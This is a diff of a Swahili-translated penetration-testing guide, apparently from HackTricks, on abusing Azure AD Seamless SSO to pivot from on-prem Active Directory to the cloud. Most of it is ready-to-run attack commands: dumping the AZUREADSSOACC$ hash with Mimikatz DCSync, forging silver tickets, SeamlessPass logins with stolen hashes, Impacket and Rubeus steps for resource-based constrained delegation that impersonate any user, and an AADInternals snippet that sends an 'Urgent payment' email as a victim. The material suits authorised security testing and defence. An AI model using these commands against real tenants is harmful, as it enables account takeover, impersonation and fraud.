+# Check it using raw LDAP queries without needing an external module
+$searcher = New-Object System.DirectoryServices.DirectorySearcher
+$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
+$searcher.FindOne()
+```
+## Pivoting: On-prem -> cloud
+
+> [!WARNING]
+> Jambo kuu la kujua kuhusu shambulio hili ni kwamba kuwa na TGT au TGS maalum ya mtumiaji ambaye ameunganishwa na Entra ID inatosha kufikia rasilimali za wingu.\
+> Hii ni kwa sababu ni tiketi inayomruhusu mtumiaji kuingia kwenye wingu.
+
+Ili kupata tiketi hiyo ya TGS, mshambuliaji anahitaji kuwa na moja ya yafuatayo:
+- **TGS ya mtumiaji aliyeathiriwa:** Ikiwa unaharibu kikao cha mtumiaji na tiketi ya `HTTP/autologon.microsoftazuread-sso.com` kwenye kumbukumbu, unaweza kuitumia kufikia rasilimali za wingu.
+- **TGT ya mtumiaji aliyeathiriwa:** Hata kama huna moja lakini mtumiaji ameathiriwa, unaweza kupata moja kwa kutumia hila ya uwakilishi wa TGT bandia iliyotekelezwa katika zana nyingi kama [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) na [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
+- **Hash au nywila ya mtumiaji aliyeathiriwa:** SeamlessPass itawasiliana na kidhibiti cha eneo na habari hii ili kuunda TGT na kisha TGS.
+- **Tiketi ya dhahabu:** Ikiwa una ufunguo wa KRBTGT, unaweza kuunda TGT unayohitaji kwa mtumiaji aliyeathiriwa.
+- **Hash au nywila ya akaunti ya AZUREADSSOACC$:** Kwa habari hii na Kitambulisho cha Usalama (SID) cha mtumiaji, ni rahisi kuunda tiketi ya huduma na kuthibitisha na wingu (kama ilivyofanywa katika njia ya awali).
+
+### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
+
+Kama [ilivyoelezwa katika chapisho hili la blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), kuwa na mojawapo ya mahitaji ya awali ni rahisi sana kutumia zana **SeamlessPass** kufikia rasilimali za wingu kama mtumiaji aliyeathiriwa, au kama mtumiaji yeyote ikiwa una **`AZUREADSSOACC$`** hash au nywila ya akaunti.
+
+Hatimaye, kwa TGT inawezekana kutumia zana [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) na:
+```bash
+# Using the TGT to access the cloud
+seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
+# Using the TGS to access the cloud
+seamlesspass -tenant corp.com -tgs user_tgs.ccache
+# Using the victims account hash or password to access the cloud
+seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
+seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
+# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
+seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
+seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
+wmic useraccount get name,sid # Get the user SIDs
+```
+Zaidi ya taarifa za kuweka Firefox kufanya kazi na seamless SSO zinaweza [**kupatikana katika chapisho hili la blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
+
+### Kupata hash za akaunti ya AZUREADSSOACC$
+
+**Nenosiri** la mtumiaji **`AZUREADSSOACC$` halibadiliki kamwe**. Hivyo, msimamizi wa kikoa anaweza kuathiri **hash ya akaunti hii**, na kisha kuitumia **kuunda tiketi za fedha** kuungana na Azure na **mtumiaji yeyote wa on-prem aliyeunganishwa**:
 ```bash
 # Dump hash using mimikatz
 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
@@ -38,14 +87,20 @@ Import-Module DSInternals
 $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
 (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
 ```
-Na hash unaweza sasa **kuunda tiketi za fedha**:
+> [!NOTE]
+> Kwa taarifa za sasa unaweza tu kutumia chombo **SeamlessPass** kama ilivyoelezwa hapo awali kupata tokens za azure na entraid kwa mtumiaji yeyote katika eneo hilo.
+> Unaweza pia kutumia mbinu za awali (na nyingine) kupata hash ya nenosiri la mwathirika unayetaka kujifanya badala ya akaunti ya `AZUREADSSOACC$`.
+
+#### Kuunda Tiketi za Fedha
+
+Kwa hash unaweza sasa **kuunda tiketi za fedha**:
 ```bash
 # Get users and SIDs
 Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

 # Create a silver ticket to connect to Azure with mimikatz
-Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
-mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
+Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
+mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

 # Create silver ticket with AADInternal to access Exchange Online
 $kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
@@ -53,57 +108,84 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
 ## Send email
 Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
 ```
-Ili kutumia tiketi ya fedha, hatua zifuatazo zinapaswa kutekelezwa:
+### Kutumia Tiketi za Silver na Firefox
+
+Ili kutumia tiketi ya fedha, hatua zifuatazo zinapaswa kufanywa:

 1. **Anzisha Kivinjari:** Mozilla Firefox inapaswa kuzinduliwa.
 2. **Sanidi Kivinjari:**
 - Tembelea **`about:config`**.
- Weka upendeleo wa [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) kwa [thamani](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) zilizotajwa:
- `https://aadg.windows.net.nsatc.net`
- `https://autologon.microsoftazuread-sso.com`
+- Weka upendeleo wa [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) kwa [thamani](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) iliyoainishwa:
+- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
+- Tembelea Firefox `Settings` > Tafuta `Allow Windows single sign-on for Microsoft, work and school accounts` na uweke kwenye hali ya kuwezesha.
 3. **Fikia Programu ya Mtandao:**
- Tembelea programu ya mtandao ambayo imeunganishwa na eneo la AAD la shirika. Mfano wa kawaida ni [Office 365](https://portal.office.com/).
+- Tembelea programu ya mtandao ambayo imeunganishwa na eneo la AAD la shirika. Mfano wa kawaida ni [login.microsoftonline.com](https://login.microsoftonline.com/).
 4. **Mchakato wa Uthibitishaji:**
 - Katika skrini ya kuingia, jina la mtumiaji linapaswa kuingizwa, huku uwanja wa nywila ukiwa tupu.
 - Ili kuendelea, bonyeza TAB au ENTER.

-> [!TIP]
-> Hii haipuuzi MFA ikiwa imewezeshwa
+> [!WARNING]
+> Hii **haiwezi kupita MFA ikiwa imewezeshwa** kwa mtumiaji.

-#### Chaguo la 2 bila dcsync - SeamlessPass

-Pia inawezekana kufanya shambulio hili **bila shambulio la dcsync** ili kuwa na siri zaidi kama [ilivyoelezwa katika chapisho hili la blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Kwa hiyo unahitaji tu moja ya yafuatayo:
+### On-prem -> Cloud kupitia Uwakilishi wa Rasilimali ulio na Mipaka <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>

- **TGT ya mtumiaji aliyeathiriwa:** Hata kama huna moja lakini mtumiaji ameathiriwa, unaweza kupata moja kwa kutumia hila ya uwakilishi wa TGT bandia iliyotekelezwa katika zana nyingi kama [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) na [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Tiketi ya Dhahabu**: Ikiwa una ufunguo wa KRBTGT, unaweza kuunda TGT unayohitaji kwa mtumiaji aliyeathiriwa.
- **Hash ya NTLM ya mtumiaji aliyeathiriwa au ufunguo wa AES:** SeamlessPass itawasiliana na kidhibiti cha eneo na habari hii ili kuunda TGT.
- **Hash ya NTLM ya akaunti ya AZUREADSSOACC$ au ufunguo wa AES:** Kwa habari hii na Kitambulisho cha Usalama wa mtumiaji (SID) wa kushambulia inawezekana kuunda tiketi ya huduma na kuthibitisha na wingu (kama ilivyofanywa katika njia ya awali).
+Ili kufanya shambulio inahitajika:

-Hatimaye, kwa TGT inawezekana kutumia zana [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) na:
+- `WriteDACL` / `GenericWrite` juu ya `AZUREADSSOACC$`
+- Akaunti ya kompyuta unayodhibiti (hash & nywila) - Unaweza kuunda moja
+
+
+1. Hatua 1 – Ongeza akaunti yako ya kompyuta
+- Inaunda `ATTACKBOX$` na kuchapisha SID/NTLM hash yake. Mtumiaji yeyote wa eneo anaweza kufanya hivi wakati MachineAccountQuota > 0
+```bash
+# Impacket
+python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
+-computer ATTACKBOX$ -password S3cureP@ss
 ```
-seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
+2. Hatua 2 – Patia RBCD kwenye `AZUREADSSOACC$` - Andika SID ya mashine yako ndani ya `msDS-AllowedToActOnBehalfOfOtherIdentity`.
+```bash
+python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
+ATTACKBOX$ AZUREADSSOACC$
+
+# Or, from Windows:
+$SID = (Get-ADComputer ATTACKBOX$).SID
+Set-ADComputer AZUREADSSOACC$ `
+-PrincipalsAllowedToDelegateToAccount $SID
 ```
-Zaidi ya taarifa za kuweka Firefox kufanya kazi na seamless SSO zinaweza [**kupatikana katika chapisho hili la blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
+3. Hatua ya 3 – Tengeneza TGS kwa mtumiaji yeyote (mfano: alice)
+```bash
+# Using your machine's password or NTLM hash
+python3 getST.py -dc-ip 192.168.1.10 \
+-spn HTTP/autologon.microsoftazuread-sso.com \
+-impersonate alice \
+DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821

-#### ~~Kuunda tiketi za Kerberos kwa watumiaji wa wingu pekee~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+# Produces alice.autologon.ccache

-Ikiwa wasimamizi wa Active Directory wana ufikiaji wa Azure AD Connect, wanaweza **kweka SID kwa mtumiaji yeyote wa wingu**. Kwa njia hii tiketi za Kerberos **zinaweza kuundwa pia kwa watumiaji wa wingu pekee**. Sharti pekee ni kwamba SID iwe [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
+#Or, from Windows:
+Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
+/impersonateuser:alice `
+/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
+```
+You can now use the **TGS to access Azure resources as the impersonated user.**
+
+
+### ~~Kuunda tiketi za Kerberos kwa watumiaji wa wingu pekee~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+
+Ikiwa wasimamizi wa Active Directory wana uf access kwa Azure AD Connect, wanaweza **kweka SID kwa mtumiaji yeyote wa wingu**. Kwa njia hii tiketi za Kerberos **zinaweza kuundwa pia kwa watumiaji wa wingu pekee**. Sharti pekee ni kwamba SID iwe [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) sahihi.

 > [!CAUTION]
-> Kubadilisha SID ya watumiaji wa admin wa wingu pekee sasa **imezuiwa na Microsoft**.\
-> Kwa taarifa zaidi angalia [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
+> Kubadilisha SID ya watumiaji wa usimamizi wa wingu pekee sasa **imezuiwa na Microsoft**.\
+> Kwa maelezo zaidi angalia [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
+

-### On-prem -> Wingu kupitia Uwakilishi wa Rasilimali ulio na Mipaka <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>

-Mtu yeyote anayeweza kusimamia akaunti za kompyuta (`AZUREADSSOACC$`) katika kontena au OU ambayo akaunti hii iko ndani yake, anaweza **kuweka uwakilishi wa rasilimali ulio na mipaka juu ya akaunti na kuufikia**.
-```python
-python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
-```
 ## References

 - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
 - [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
 - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [TR19: Niko kwenye wingu lako, nikisoma barua pepe za kila mtu - kuingilia Azure AD kupitia Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
+- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)

 {{#include ../../../../banners/hacktricks-training.md}}